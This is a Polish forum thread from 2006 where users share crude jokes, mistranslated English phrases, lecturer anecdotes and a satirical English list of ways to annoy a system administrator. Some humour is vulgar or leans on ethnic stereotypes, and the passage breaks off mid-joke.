Ktoœ z marnym słuchem i słowniczkiem z hipermarketu to musiał tłumaczyć:

Can you hear me – Ty mnie możesz tu

Manicure – Pienišdze leczš

I’m just asking – Jestem tylko królem d*py

I have been there – Mam tam fasolę

God only knows – Jedny nos Boga

We are the champions – Jesteœmy pieczarkami

Do you feel alright? – Cały czujesz się z prawa?

Bye bye baby, baby good bye – Kup, kup mi dzidziusia, dzidziuœ dobry zakup

To be or not to be? – Pszczoła, czy nie pszczoła?

I fell in love – Przewróciłem się w miłoœć.

Just in case – Tylko w skrzynce

I will never give up – Nigdy nie wymiotuję

Oh dear – Och, jeleń.

I saw my Honey today – Piłowałem dziœ mój miód.

I’m going to make you mine – Idę zrobić ci kopalnię.

May God be with you – Majowa dobra pszczoła z tobĹĄ

Finnish people – Skończeni ludzie

Bad influence – Zła grypa

Phone seller – Zadzwoń do sprzedawcy

Good products – Bóg po stronie kaczek

Let’s have a party – Założmy partię.

Watch out! – Patrz na zewnštrz!

I know his story well – Znam jego historycznĹĄ studnię.

Let it be! – Jedzmy pszczołę!

Press space bar to continue – Kosmiczny bar prasowy nastšpi

malek - 14-07-2006, 08:47

W domu spokojnej jesieni, trzech dziadkow toczy rozmowe przy sniadaniu.
Pierwszy mowi:
- Mam kamienie czy co? Nie moge rano zrobic siku. Wstaje o 7-ej i pol godziny musze sie meczyc aby cos polecialo.
Drugi mowi:
- Ja wstaje tez o 7-ej, siadam na kiblu i nie moge zrobic kupy! Po godzinie wreszcie cos zrobie!
Na to trzeci dziadek:
- Ja tam nie mam zadnych problemow. Sikam o 5-ej, wale kupsko o 6-ej, i budze sie o 7-ej.


Wojna - Narada chińskich generałów.
Jeden do drugiego:
- Będziemy atakować małymi grupkami... dwa-trzy miliony

Ta sama wojna i ci sami generałowie.
Jeden do drugiego:
- Prawą flanką pójdzie pięć milionów!... Lewą... siedem milionów!... A środkiem pójdą czołgi
na co drugi:
- Jak to!? Obydwa?!

Do kiosku podbiega rozemocjonowany facet:
- Szybko, moją teściową pokąsały osy, cały rój!
- Ale nie mamy żadnej maści, ani...
- Chrzanić maści! Film do aparatu, szybko!

piotrm - 14-07-2006, 10:27

Dlaczego Zidane uderzyl "Materaca"?
Bo mu ten powiedzial, ze gra jak Rasiak...

tsharny - 14-07-2006, 10:39

http://www.joemonster.org/article.php?sid=6143
luna37 - 14-07-2006, 16:53

W straży pożarnej dzwoni telefon.
- Dzień dobry, czy to ZUS?
- ZUS spłonął.
Po pięciu minutach znowu dzwoni telefon.
- Dzień dobry, czy to ZUS?
- ZUS spłonął.
Po następnych pięciu minutach znowu dzwoni telefon.
- Dzień dobry,czy to ZUS?
- Ile razy mam panu powtarzać, że ZUS spłonął! - odpowiada wściekły strażak.
- Ale jak przyjemnie tego posłuchać!

Efraim Ryba - 14-07-2006, 21:13

Stoi sobie policjant z "suszarką" na poboczu i się nudzi. Nagle na
horyzoncie pojawia się nowiutki mercedes i oczywiście smerf go zatrzymuje.
Ku jego wielkiemu zdziwieniu, za kierownicą siedzi obszarpany śmierdzący
żul. Policjant totalnie zaskoczony pyta:
- Kurde! Tyle lat pracuję i nie stać mnie na takiego Merca, a ty taki
obszarpany takim cackiem się bujasz. Jak to możliwe?
- Bo ja mam taki dar: jak nasikam łysemu na głowę, to mu włosy odrastają.
Jednemu nowobogackiemu nasikałem i mi tego Merca podarował.
Policjant zdejmuję czapkę i nadstawia łysą pałę:
- Posikaj i na mnie to nie zapłacisz mandatu i puszcze cię wolno!
Żul rozpina rozporek, wyciąga zapyziałego ***a i zaczyna sikać. Z tylnego
siedzenia mercedesa słychać histeryczny śmiech:
- O, żesz w mordę. Za taki numer, to ci i mieszkanie kupię!

[ Dodano: Pią 14 Lip, 2006 ]
Fragment wywiadu z Gustawem Holoubkiem (sorki za przekleństwa, ale bez nich to nie ma sensu):
Przytoczę taki obrazek obyczajowy, który moim zdaniem dobrze ilustruje to,
co się teraz dzieje w polskiej polityce.
W jednym z teatrów na próbie Kalina Jędrusik zapaliła papierosa.
Na scenie nie wolno palić papierosów. Zbliżył się strażak i powiedział:
- "Proszę zgasić papierosa, bo tu nie wolno palić".
A Kalina jak Kalina - z wdziękiem odparła:
- "Odpier... się strażaku".
I on strasznie się zamyślił, poszedł za kulisy i tam trwał jakiś czas.
Potem nabrał powietrza, wrócił na scenę, ale tam już nie było Kaliny,tylko Basia Rylska.
On jednak tego nie zauważył, bo oczy zaszły mu
bielmem z wściekłości, i krzyknął do Rylskiej:
- "Ja też potrafię przeklinać, ty k... stara!".
Kompletnie zdumiona Basia pobiegła do Edwarda Dziewońskiego, który był reżyserem spektaklu,
i powiedziała mu, że strażak zwariował, bo ją zwyzywał bez żadnego powodu.
Dziewoński strasznie się zezłościł, poszedł do strażaka i powiedział:
- "A pan jest ch..!".
Przy czym strażak był inny.
Więc tak wygląda życie polityczne w naszym kraju.

[ Dodano: Wto 18 Lip, 2006 ]
garść porad praktycznych dla tych, co uważają że ich waga jest zbyt duża:

1) Kiedy nikt nie widzi, że jesz, to posiłek nie ma kalorii.

2) Tabliczkę czekolady popijaj lemoniadą light, wtedy kalorie z czekolady zostaną zniszczone przez lemoniadę.

3) Jeśli jesz w towarzystwie, licz kalorie tylko z tych potraw, których zjadasz więcej niż inni.

4) Jedzenie będące jednocześnie lekarstwem (np. wino na obniżenie cholesterolu, koniak czy czekolada na depresję) ma zero kalorii.

5) Wybieraj sobie wyłącznie grubych przyjaciół. Przy nich będziesz szczupła i w końcu będziesz mogła jeść tyle, ile chcesz.

6) To, co zliżesz z noża i łyżki podczas przygotowywania posiłku ma zero kalorii. Przecież noże i łyżki nie mają kalorii.

7) Jedzenie pochłaniane w kinie czy podczas oglądania DVD nie zawiera kalorii, bo to tylko film.

8) Ciastka i czekolada pokruszone i spożywane kawałek po kawałku w ogóle nie mają kalorii, ponieważ tłuszcz ulatnia się, gdy zostaje rozbity.

9) Jedzenie w tym samym kolorze ma tyle samo kalorii, np. pomidory i dżem truskawkowy, pieczarki i biała czekolada.

10) Produkty zimne, np. lody, nie mają kalorii. Każdy przecież wie, że 1 kaloria to ilość ciepła potrzebna do ogrzania 1 g wody o temperaturze 1 stopnia przy ciśnieniu 1 atmosfery. Lody zostały zamrożone, więc mają ujemne kalorie.

tsharny - 18-07-2006, 15:02

Co zrobił prezydent Kaczyński dobrego dla Warszawy?
-Odszedł

bann - 20-07-2006, 06:04

Komisja wojskowa:
- Zawód ojca?
- Ojciec nie żyje.
- Ale kim był?
- Gruźlikiem.
- Ale co robił?
- Kaszlał.
- Ale z czego żył? Z tego się przecież nie żyje.
- No to przecież mówię, że nie żyje...


Q: Ilu ludzi z depresja potrzeba, zeby wkrecic zarowke?
A: Zadnego. Posiedze tu sobie... sam... w ciemnosci...



Jeden kierowca pyta się drugiego jak mu się jeździ w takie upały. Tamten mu odpowiada
- jest tak gorąco że jak wysiąde z auta to musze kopnąć opone z całej siły
No to ten pierwszy
- po co ? deformują się?
- Nieeee.... żeby mi się jaja od nogi odkleiły...


Do jaskini wchodzi jaskiniowiec ubrany w białą skórę z mamuta polarnego i trzymając w ręce wielki sopel lodu w kształcie maczugi. Syn właściciela jaskini na jego widok krzyczy:
- Tato, duch!
- To nie żaden duch, synku - odpowiada ojciec. - To tylko nasz daleki kuzyn z epoki lodowcowej.


Jedzie facet samochodem, włącza radio i słyszy:
- "Uwaga! Proszę Państwa przerywamy audycję, aby podać ważny komunikat! W okolicach Warszawy wylądował statek spoza naszej planety, po pozostawieniu przybyszów odleciał. W razie napotkania UFO-nauty prosimy o zachowanie spokoju! Z obcymi można się porozumieć po polsku, tylko trzeba wolno mówić. Podajemy przybliżony opis przybyszów: mali, zieleni, łapy do samej ziemi."
Po pewnym czasie facetowi zachciało się siusiu (w okolicach Piaseczna), więc zatrzymał się przy lasku. Włazi w krzaki i zdębiał - widzi coś - małe, zielone, łapy do samej ziemi. Wolno mówi:
- Jestem kierowcą i jadę do Warszawy.
Słyszy:
- A ja jestem gajowy i sram!

[ Dodano: Czw 20 Lip, 2006 ]
- Dlaczego Zidane walnął z bani Materazziemu?
- bo tamten mu powiedzial, ze gra jak Rasiak!

tsharny - 20-07-2006, 14:21

*Akademie Medyczna w Lublinie *
Koleżanka biedzi się ze sprzączką, zakładając koledze uprząż usztywniającą kręgosłup. Nie bardzo jej to wychodzi. Prowadzący zniecierpliwiony:
- No niech mu pani obciągnie porządnie!
Grupa leży, prowadzący zajęcia mocno zdziwiony:
- Nie rozumiem państwa reakcji- przecież jak pani mu tego porządnie nie obciągnie, to nie będzie dobrze usztywniony!
____________________________________________
*Akademie Medyczna w Lublinie *
Fizyka Dla Biologów Dr Nakielski:
skalowanie - wykład. Dr szuka przykładu i wymyśla:
- Załóżmy, że mam małego ptaka...
Wszyscy rechocą, a Dr ze stoickim spokojem czeka i kontynuuje:
- A ten ptak ma małe jaja...
Znów rechot i pokaz cierpliwości, po którym doktor wygłasza:
- Ale pomimo tego bardzo wysoko się wznosi...
Niektórzy płakali...
------------------------------------
*Uniwersytet Sląski *
Matematyka, dr Rościsław:
Doktor RR lubił opowiadać smakowite kąski z egzaminów. Kiedyś jeden ze studentów rozbawił go na egzaminie ustnym stwierdzając, że różniczka to wyniczek odejmowanka.
Student oczywiście zdał. Sam dowcip podziałał tak na grono egzaminujące, że egzaminowanie w tym dniu na owym studencie zakończono. Zdarzenie miało miejsce w 1973 r.
-----------------------------------------
*Politechnika Wrocławska *
Anatomia, profesor G.:
- Jaki mięsień obciąga napletek?
- ???
- Okrężny ust!
----------------------------------------------------------
*Szkoła Policealna *
Laborki z chemii organicznej:
Doktor J. z odwróconą do góry dnem probówką:
- Probówka to takie sprytne narzędzie, które nie dość, że nie ma dna, to jeszcze jest zakryte od góry.
----------------------------------
*Akademia Górniczo-Hutnicza w Krakowie *
Miernictwo elektryczne, pan K.:
Podczas wystawiania ocen na koniec roku:
- Powiedz no mi kolego... masz oceny: 2, 2, 3.
Co byś chciał dostać na koniec roku?
- Yyy... mmm... czwórke.
- Uuu, to będzie taka naciągana czwórka... Ale przysięgnij, że przez 10 godzin dziennie przez całe wakacje będziesz się uczył miernictwa!
- Przysięgam!
----------------------------------------
*Technikum * ;
Biologiczne mechanizmy zachowania:
Profesor Tokarski, człowiek dobrze pod 70-ke, wykład dotyczy warunkowania, czyli Pawłow i jego pieski.
W pewnym momencie:
- No i jak miał Pawłow na imię? Iwan! Jest trzech Iwanów, o których zawsze musicie pamiętać! No, kto wymieni?
- [z sali] Iwan Pawlow...
- Bardzo dobrze! Drugi!
- [nieśmiało] Iwan Groźny...
- Może być Iwan Groźny! A trzeci?
- [cisza]
- No jak to, nie wiecie? Iwan Pawłow, Iwan Groźy - i van Gogh!
______________________________________________
*Uniwersytet Gdańki *
Jakiś tam wykładowca (przeskurczybyk), koleś nie do przejścia. Zdesperowani studenci postanowili na zaliczenie dać gościowi dwie flaszki w zamian za zaliczenie. Tak też zrobili, a dr na to "proszę o indeksy". Gdy już wypisał to, co miał wypisać czytają: "POTWIERDZAM ODBIÓR DWÓCH FLASZEK"
--------------------------------
Prawo, Prof. Stelmach:
- Jestem profesor zwyczajny... jak kiełbasa.
________________________________________
*Uniwersytet Jagielloński *
Profesor B.:
- Ponieważ jestem nałogowym palaczem musiałbym wychodzić co 10 minut na papierosa, co zupełnie zdezorganizowałoby wykład. Mogę więc palić na zajęciach na sali, ale wszyscy co do jednego musicie się Państwo zgodzić. Proszę także wiedzieć, że mam dobrą pamięć, a egzamin jest dnia (tego i tego)... No to glosujemy, czy wszyscy się zgadzają na palenie w czasie wykładu?
Wszyscy oczywiście podnoszą ręce.
- Nooo, i szczerze powiem, że w mojej historii zawsze tak głosowano...
_________________________
*Politechnika Wrocławska *
Systemy Operacyjne:
Kolega kupił cyfrówkę i postanowił ukradkiem zrobić prowadzącemu zdjęcie, który niby nic nie widział. Ten, po jakimś czasie rzuca kredą i krzyczy:
- Nie proszę państwa - ja nie mogę tak prowadzić wykładu zastanawiając się jak wyjdę na tych zdjęciach. Zatem proszę, niech pan teraz pstryka!
Po czym przybrał kilka póz do fotografowania.
______________________________________________
*Politechnika Wrocławska *
Geometria wykreślna:
Zajęcia o godz. 18.15, wszyscy mają gdzieś, gadają, połowa leczy jeszcze kaca.
Pani magister: - Tu jest k***wa jak na weselu, tylko wódy i zakąski brak.
_______________________________________________
*Politechnika Białostocka *
Prof. P. z fizyki:
- I załóżmy, że na dwumetrowej miotle przelatuje przed nami Alicja. O...przepraszam miałem na myśli Babe Jage, ale popatrzyłem na Alicje i mi się skojarzyło..

bann - 20-07-2006, 18:55

Szeregowiec przychodzi do dowódcy:
- Towariszczi, tanki jadą!
- Skolko ich?
- Wosiem.
- To bieri granat i rozgoni tanki.
Po chwili:
- Rozgonił tanki?
- Rozgonił.
- To oddawaj granat!

=======

- A więc pan jest zainteresowany sprzedażą pewnej ilości... roślin?
- Owszem. Mamy na przykład w dużych ilościach te... tataraki.
- Przepraszam, co?
- No... tatatatataraki!
- Ach, tak. Jaki to gatunek... tataraków?
- To jest nasza własna hodowla według projektów botaników radzieckich.
- W porządku. Jaka średnica... łodygi?
- 9 milimetrów.
- A przepraszam, czy z tą... kukurydzą?
- Pan wybaczy, nie rozumiem.
- Chodzi o kolby.
- Aaaa! No więc część tataraków z kukurydzą, reszta krótkie. I do każdego tataraka dajemy po pięćset... nasionek.
- Jaki jest zasięg... zasiewu?
- Nominalnie 1500 metrów.
- No dobrze. Interesują mnie jeszcze niedrogo jakieś... cebulki.
- Zaczepne czy obronne?
- Wie pan, ja się nie znam zbyt dobrze na botanice... Bo jedne są z czymś takim długim do trzymania...
- Ze szczypiorkiem.
- O! właśnie. To mi chodzi o takie okrągłe bez szczypiorka.
- To obronne.
- Możliwe. Jak to konkretnie działa?
- Proszę pana, tam jest na końcu taki korzonek. Jego się wyrywa, potem liczy pan do trzech i szybko sadzi.
- Czy to też z radzieckich instytutów badawczych?
- A co? Złe?
- Nie, nic nie mówię. Tylko czy ten gatunek przyjmie się... że tak powiem, na południu Europy?
- Wszędzie się przyjmie. Żeby pan widział, jak to kwitło na górskiej glebie w Afganistanie.
- Tam? A to widziałem!
- Jak duży areał chce pan obsadzić?
- Wie pan, ja liczę inaczej. To mi musi wystarczyć dla pięciuset... rolników na tydzień kampanii.
- To wypadnie ze dwieście skrzynek.
- A czy to przypadkiem nie zacznie wegetować w transporcie?
- Wykluczone. Zarodniki się wykręca i transportuje osobno.
- Rozumiem. Teraz mnie jeszcze interesują takie duże... widzi pan, te braki w botanice!... takie okrągłe, co się zakopuje płytko do ziemi i zasypuje, że niby nic tam nie ma.
- Sadzeniaki.
- O! Sadzeniaki.
- To ma służyć to rozsady piechotnej czy czołg... przepraszam... czy przeciw zmechanizowanemu sprzętowi rolniczemu?
- Ja je zamierzam użyć przeciwko... innym rolnikom.
- Czyli piechotne sadzeniaki.
- Tak. Na lini... miedzy chcemy posadzić.
- A jak długa jest ta... miedza?
- No wie pan, dzisiaj 900 kilometrów. Ale to się co dzień zmienia.
- Rzecz jasna. Dysponujemy każdą ilością.
- No, a przede wszystkim bylibyśmy zainteresowani jakimś nawozem... s z t u c z n y m!
- Sztucznym?
- Uzyskanym l a b o r a t o r y j n i e!
- Hm. Trudna sprawa. A co najbardziej by was interesowało?
- Jak by to powiedzieć... U... R... No, uryn!
- Uryn! Może lepiej mówmy... mocznik?
- O, właśnie! Mocznik.
- Dużo tego potrzeba?
- Odrobinka. Tak na dwa, trzy silosy.
- To będzie sporo kosztować.
- Cena nie gra roli. Mamy bardzo ambitne stacje hodowli. Rwą się, żeby coś rozszczepić.
- Cóż... Mamy pręty... mocznikowe wzbogacone po sześć kilo sztuka. Ale trudne w transporcie, bo to są długie laski...
- Nie szkodzi, my przyzwyczajeni, ha, ha, ha!
- Dobrze. Na jaki kraj pisać papiery wywozowe?
- Jak zwykle. Na Islandię.
- No to, wiemy wszystko. Do widzenia.
- Żegnam pana... przepraszam, zapomniałem nazwiska?
- Minister Kazimierz X. Oczywiście - minister rolnictwa.
- Marszałek Zoran X. Oczywiście - marszałek polny.

[ Dodano: Czw 20 Lip, 2006 ]
Przychodzi staruszek do apteki i prosi o trzy tabletki Viagry. A aptekarz na to:
- Ale Viagry nie sprzedajemy na sztuki tylko w opakowaniach.
- Ale ja potrzebuje tylko trzy! - mówi dziadek.
Po namowach aptekarz w końcu daje dziadkowi trzy tabletki...
- I proszę jeszcze każdą podzielić na trzy.
- Ale to przecież nic panu nie da, nawet panu nie stanie. Mówi aptekarz.
A dziadek na to:
- Ale on nie musi stać. Wystarczy, że się trochę podniesie żebym sobie po nogach nie sikał.

Grzyb - 21-07-2006, 10:38

Prezydent Kaczynski wraz z malzonka udal sie z nieoficjalna wizyta do prezydenta Juszczenki na Ukraine. Po uroczystej kolacji, kiedy juz troche atmosfera sie rozluznila, po kilku toastach, prezydent Juszczenka jako dobry gospodarz zapragnal nawiazac nic sympatii z Kaczynskimi. Pyta wiec:
- A tiebia, Marysia, to czym truli?

Kuba - 24-07-2006, 09:34

Małego niedźwiadka Alexa uniosła kra na środek morza.
Pewnie by umarł z głodu i chłodu, gdyby lodołamacz "Arktyka" nie wkręcił go w śrubę...

bann - 24-07-2006, 18:59

Noc. Wielki pożar.Siedem jednostek straży pożarnej walczy z żywiołem. Do kierującego akcja podchodzi jakis facet:
-Jak wam idzie?NIkt ze strażaków nie ucierpiał?!
-Niestety odpowiada strażak.Dwóch naszych ludzi zostało w płomieniach a sześciu jest ciężko poparzonych.Ale za to wynieśliśmy z budynku 16 osób... trwa reanimacja..
16 osób?!?! Przecież tam był tylko ochroniarz.
Skąd pan wie?! Kim pan jest??



- KIerownikiem prosektorium

VooDoo_73 - 25-07-2006, 09:42

Przepraszam, że w lengłydżu:
Terrible, terrible tragedy in Ireland. A 2 seated Cesna managed to smash into the cemetary just outside Dublin. 267 bodies have so far been recovered, but many more are expected when the rescue crew stop digging.

CZACHO - 27-07-2006, 01:38

http://www.apocalypsecart...thertucker.html troche drastyczne ;)
Kuba - 27-07-2006, 16:01

Jan Kowalski jest moim pomocnikiem do spraw programowania, zawsze
ciezko pracujacym. Jest samodzielnym pracownikiem nigdy nie
narzekajacym na warunki pracy. Nigdy nie zdarzylo sie, zeby Jan K.
odmowil, gdy ktos potrzebuje jego pomocy. Poza tym zawsze
konczyl prace w okreslonym terminie. Czesto ubiega sie o dodatkowe
zadania i poswieca sie im caly, omijajac nawet swoje wlasne
przerwy sniadaniowe. Jan K. jest czlowiekiem, ktory nie ma
w sobie nic z proznosci. Doskonale umiejetnosci sa potwierdzeniem jego
wiedzy o programowaniu. Gleboko wierze, ze moj pomocnik, Jan K. moze
byc zaklasyfikowany jako bardzo dobry pracownik, ktory nie powinien
zostac zastapiony przez kogos innego. Rekomenduje, zeby Jan K. zostal
awansowany. Jestem pewien, ze czas poswiecony tej decyzji nie okaze sie
stracony, co na pewno zaowocuje dla dobra firmy w najblizszym czasie.

Zalacznik:
Ten idiota stal nade mna caly czas jak pisalem te rekomendacje.
Uprzejmie prosze o ponowne przeczytanie tylko nieparzystych linijek
rekomendacji.

malek - 31-07-2006, 08:44

Do domu przyszedł ksiądz z kolędą. Po modlitwie i poświęceniu domu zwrócił
się do małej dziewczynki:
- Umiesz się żegnać, dziecko?
- Umiem. Do widzenia.

-----------------------------

Spadający jak kamień spadochroniarz krzyczy do mijanego w powietrzu kolegi:
- Mój się nie otworzył! Szczęście, że to tylko ćwiczenia!

-----------------------------

Międzynarodowa wycieczka przyjeżdża pod największy wodospad na świecie:

- ....ooo God, it's wonderfuuuuul.....
- ....ooo main Gott, das ist wuuuuunderbar....
- ...gospodin, eto priekrasnoooojeee...
- ....o a fee, ja pierdoooooleeee

-----------------------------

W pewnej firmie nastał nowy dyrektor. Zwołał zebranie wszystkich
pracowników:

- Od teraz nastają nowe porządki: Sobota i niedziela są wolne, bo to weekend. W poniedziałek odpoczywamy po weekendzie. We wtorek przygotowujemy się psychicznie do pracy. W środę pracujemy. W czwartek odpoczywamy po pracy. W piątek przygotowujemy się do weekendu. Czy są jakieś pytania?
- Długo będziemy tak zapierdalać?

-----------------------------

Siedzą dwie sowy wieczorem na gałęzi. Nagle jedna sowa:
- Huuu huuuu
Na to druga :
- Weź ty k..... mnie nie strasz! bo spadnę!

future - 31-07-2006, 10:35

Na wykładzie studentka pyta się profesora seksuologii:
- Co zazwyczaj robią mężowie po odbytym stosunku?
- 10% odwraca się na drugi bok i zasypia, 10% wychodzi do łazienki....
- A pozostałe 80%? - pyta dalej studentka.
- No cóż, ubiera się i wraca do domu.

Spaniel - 31-07-2006, 21:21

Stare, ale znów mnie strasznie rozbawił (zwazywszy, że mam kolege tymczasowo o kulach i widziałam jak mu sobie bez nich świetnie radził w ten weekend po paru głębszych hihihi)

żona do męża: piłeś
on: nie !
piłeś
nie, naprawdę nie,
nie kłam, PIŁEŚ,
a skąd wiesz ?
bo dzwonili z baru, że zostawiłeś wózek inwalidzki

Grzyb - 31-07-2006, 23:38

Siostry Williams siedzą przed meczem w szatni. Nagle Venus mówi:
- Wiesz, co? Ojciec chyba dosypuje nam sterydów do żarcia...
- Skąd wiesz?
- Zaczęły mi rosnąć włosy tam, gdzie ich wcześniej nigdy nie miałam.
- A gdzie na przykład?
- No, na przykład na jajach...

malek - 01-08-2006, 09:49

Zajęcia z savoir-vivre'u. Prowadzi kobieta, wśród uczestników sami panowie. Pani zadaje pytanie:
- Jesteście na przyjęciu lub w restauracji. Musicie udać się w pewne miejsce. Jak usprawiedliwicie przed swoją towarzyszką swą chwilową nieobecność.
- Idę się wysikać - padła propozyzja z sali.
- No niestety - odparła prowadząca - słowo "wysikać" może zostać uznane za prostackie i grubiańskie.
- Przepraszam, ale muszę udać się do ubikacji - zgłosił się inny uczestnik.
- No cóż - prowadząca na to - mówienie o ubikacji przy jedzeniu trudno zaliczyć do kanonów kultury. Może jakieś inne pomysły?
- Pani wybaczy - na to kolejny uczestnik - ale muszę udać się uścisnąć kogoś, kogo mam nadzieję przedstawić pani po kolacji.

Efraim Ryba - 01-08-2006, 10:39

Do komisariatu policji wbiega zziajany mężczyzna.
- Okradli mi sklep!
- A był święcony?
- Nie.
- To niema przestępstwa.
- A co jest?
- Kara Boska!

malek - 01-08-2006, 12:07
Temat postu: system administrator
yn inglisz :-D sori :mrgreen:

Advice to employees on the proper use of the System Administrator's valuable time

(In following examples, we will substitute the name "Ted" as the System Administrator)

Make sure to save all your MP3 files on your network drive. No sense in wasting valuable space on your local drive! Plus, Ted loves browsing through 100+ GB of music files while he backs up the servers.

Play with all the wires you can find. If you can't find enough, open something up to expose them. After you have finished, and nothing works anymore, put it all back together and call Ted. Deny that you touched anything and that it was working perfectly only five minutes ago. Ted just loves a good mystery. For added effect you can keep looking over his shoulder and ask what each wire is for.

Never write down error messages. Just click OK, or restart your computer. Ted likes to guess what the error message was.

When talking about your computer, use terms like "Thingy" and "Big Connector."

If you get an EXE file in an email attachment, open it immediately. Ted likes to make sure the anti-virus software is working properly.

When Ted says he coming right over, log out and go for coffee. It's no problem for him to remember your password.

When you call Ted to have your computer moved, be sure to leave it buried under a year-old pile of postcards, baby pictures, stuffed animals, dried flowers, unpaid bills, bowling trophies and Popsicle sticks. Ted doesn't have a life, and he finds it deeply moving to catch a glimpse of yours.

When Ted sends you an email marked as "Highly Important" or "Action Required", delete it at once. He's probably just testing some new-fangled email software.

When Ted's eating lunch at his desk or in the lunchroom, walk right in, grab a few of his fries, then spill your guts and expect him to respond immediately. Ted lives to serve, and he's always ready to think about fixing computers, especially yours.

When Ted's at the water cooler or outside taking a breath of fresh air, find him and ask him a computer question. The only reason he takes breaks at all is to ferret out all those employees who don't have email or a telephone.

Send urgent email ALL IN UPPERCASE. The mail server picks it up and flags it as a rush delivery.

When the photocopier doesn't work, call Ted. There's electronics in it, so it should be right up his alley.

When you're getting a NO DIAL TONE message at your home computer, call Ted. He enjoys fixing telephone problems from remote locations. Especially on weekends.

When something goes wrong with your home PC, dump it on Ted's chair the next morning with no name, no phone number, and no description of the problem. Ted just loves a good mystery.

When you have Ted on the phone walking you through changing a setting on your PC, read the newspaper. Ted doesn't actually mean for you to DO anything. He just loves to hear himself talk.

When your company offers training on an upcoming OS upgrade, don't bother to sign up. Ted will be there to hold your hand when the time comes.

When the printer won't print, re-send the job 20 times in rapid succession. That should do the trick.

When the printer still won't print after 20 tries, send the job to all the printers in the office. One of them is bound to work.

Don't use online help. Online help is for wimps.

Don't read the operator's manual. Manuals are for wussies.

If you're taking night classes in computer science, feel free to demonstrate your fledgling expertise by updating the network drivers for you and all your co-workers. Ted will be grateful for the overtime when he has to stay until 2:30am fixing all of them.

When Ted's fixing your computer at a quarter past one, eat your Whopper with cheese in his face. He functions better when he's slightly dizzy from hunger.

When Ted asks you whether you've installed any new software on your computer, LIE. It's no one else's business what you've got on your computer.

If the mouse cable keeps knocking down the framed picture of your dog, lift the monitor and stuff the cable under it. Those skinny Mouse cables were designed to have 55 lbs. of computer monitor crushing them.

If the space bar on your keyboard doesn't work, blame Ted for not upgrading it sooner. Hell, it's not your fault there's a half pound of pizza crust crumbs, nail clippings, and big sticky drops of Mountain Dew under the keys.

When you get the message saying "Are you sure?", click the "Yes" button as fast as you can. Hell, if you weren't sure, you wouldn't be doing it, would you?

Feel perfectly free to say things like "I don't know nothing about that boneheaded computer crap." It never bothers Ted to hear his area of professional expertise referred to as boneheaded crap.

Don't even think of breaking large print jobs down into smaller chunks. God forbid somebody else should sneak a one-page job in between your 500-page Word document.

When you send that 500-page document to the printer, don't bother to check if the printer has enough paper. That's Ted's job.

When Ted calls you 30 minutes later and tells you that the printer printed 24 pages of your 500-page document before it ran out of paper, and there are now nine other jobs in the queue behind yours, ask him why he didn't bother to add more paper.

When you receive a 130 MB movie file, send it to everyone as a high-priority mail attachment. Ted's provided plenty of disk space and processor capacity on the new mail server for just those kinds of important things.

When you bump into Ted in the grocery store on a Sunday afternoon, ask him computer questions. He works 24/7, and is always thinking about computers, even when he's at super-market buying toilet paper and doggie treats.

If your son is a student in computer science, have him come in on the weekends and do his projects on your office computer. Ted will be there for you when your son's illegal copy of Visual Basic 6.0 makes the Access database keel over and die.

When you bring Ted your own "no-name" brand PC to repair for free at the office, tell him how urgently he needs to fix it so you can get back to playing EverQuest. He'll get on it right away, because everyone knows he doesn't do anything all day except surf the Internet.

Don't ever thank Ted. He loves fixing everything AND getting paid for it!

KasiaK - 01-08-2006, 12:15

za długie, jesli chodzi o czytanie, w ramach przerwy na kawe ;P
malek - 01-08-2006, 12:40

nooooo ............... i na dodatek nie po naszemu :mrgreen:
KasiaK - 01-08-2006, 13:37

malek napisał/a:
nooooo ...............


nooo ale dałam rade :lol: przedłuzyłam SE przerwe :mrgreen:

malek napisał/a:

i na dodatek nie po naszemu :mrgreen:

z tym tez dałam rade :lol:

malek - 01-08-2006, 13:46

KasiaK napisał/a:

nooo ale dałam rade - przedłuzyłam SE przerwe

no i super - zawsze CZA szukać pozytywów :mrgreen:

KasiaK napisał/a:

z tym tez dałam rade


a bo Kaśki to takie fajne światowe dziewczyny :mrgreen:

tsharny - 01-08-2006, 19:21

pewnie, słodźcie sobie dziewuszki...
nie można było tego streścić? :mrgreen:

malek - 01-08-2006, 19:24

tsharny napisał/a:
pewnie, słodźcie sobie dziewuszki...


zazdrościsz :?: :mrgreen:

tsharny napisał/a:
nie można było tego streścić?


można - malek debeściak :mrgreen:

admin ma przechlapane :mrgreen:

Pisklak - 03-08-2006, 12:46

- Name?
- Abu Dalah Sarafi.
- Sex?
- Four times a week.
- No, no, no..... male or female?
- Male, female...... sometimes camel.......

amalcz - 04-08-2006, 11:38

UKŁAD ZBIOROWY
Kategorie zaszereregowania czyli co komu się należy
1. Minister: Porsche, whisky i artystki.
2. Poseł: Audi, koniaki i kociaki.
3. Dyrektor: Mazda, starka i sekretarka.
4. Kierownik: Fiat, wyborowa i koleżanka biurowa.
5. Pracownik umysłowy: autobus, czysta czerwona i własna żona.
6. Pracownik wykwalifikowany: motocykl, 2-piwa i byle dziwa.
7. Pracownik niewykwalifikowany: tramwaj. zupa i byle dupa.
8. Robotnik: łopata, taczki i tyłek sprzątaczki.
9. Chłop: bimber, kilka uli i tyłek krasuli.
10. Bezrobotny: modlitwa, łączka i własna rączka.
11. Więzień: okno, krata i dupa kamrata.

Efraim Ryba - 04-08-2006, 14:42

- Gdybyśmy przed baranem postawili wiadra: z wodą i z alkoholem, to czego się napije baran? - pyta prelegent usiłujący różnymi przykładami przekonać słuchaczy, że picie alkoholu jest szkodliwe.
- Wody! - odkrzykują słuchacze.
- Tak! A dlaczego?!
- Bo baran!

[ Dodano: Pon 07 Sie, 2006 ]
Najbardziej paradoksalna rzecz na swiecie?
- Sraczka, bo sra sie jednoczesnie czesto i rzadko...

I - 07-08-2006, 20:37

- W jaki sposób najłatwiej zabić strusia?
- Przestraszyć go na betonie.

malek - 09-08-2006, 09:57

Archeologom udało się całkowicie odszyfrować napis na płytach darowanych Mojżeszowi. Okazało się, że przykazanie było tylko jedno
"Nie z czasownikami pisze się osobno. Na przykład: nie zabijaj, nie kradnij, nie cudzołóż, itd."

------------------


Najlepszym lekarstwem na wszystkie dolegliwości jest zwykła woda.

Dwie krople na szklankę wódki i wszystko jak ręką odjął...

------------------


Jak się macie? - zażartował dyrektor .
Dobrze - zażartowali pracownicy

agrest - 09-08-2006, 18:16

Facet żył na bezludnej wyspie. Miał tam wszystko. Jedzenie, picie, dach nad
głową, brakowało mu jednak kobiety. 50 metrów od jego wyspy była druga
wyspa, pełna pięknych, wyuzdanych kobiet. Codzień wieczorem obserwował je
gdy wyczyniały harce rodem z Lesbos. A one przywoływały go, a on nie mógł
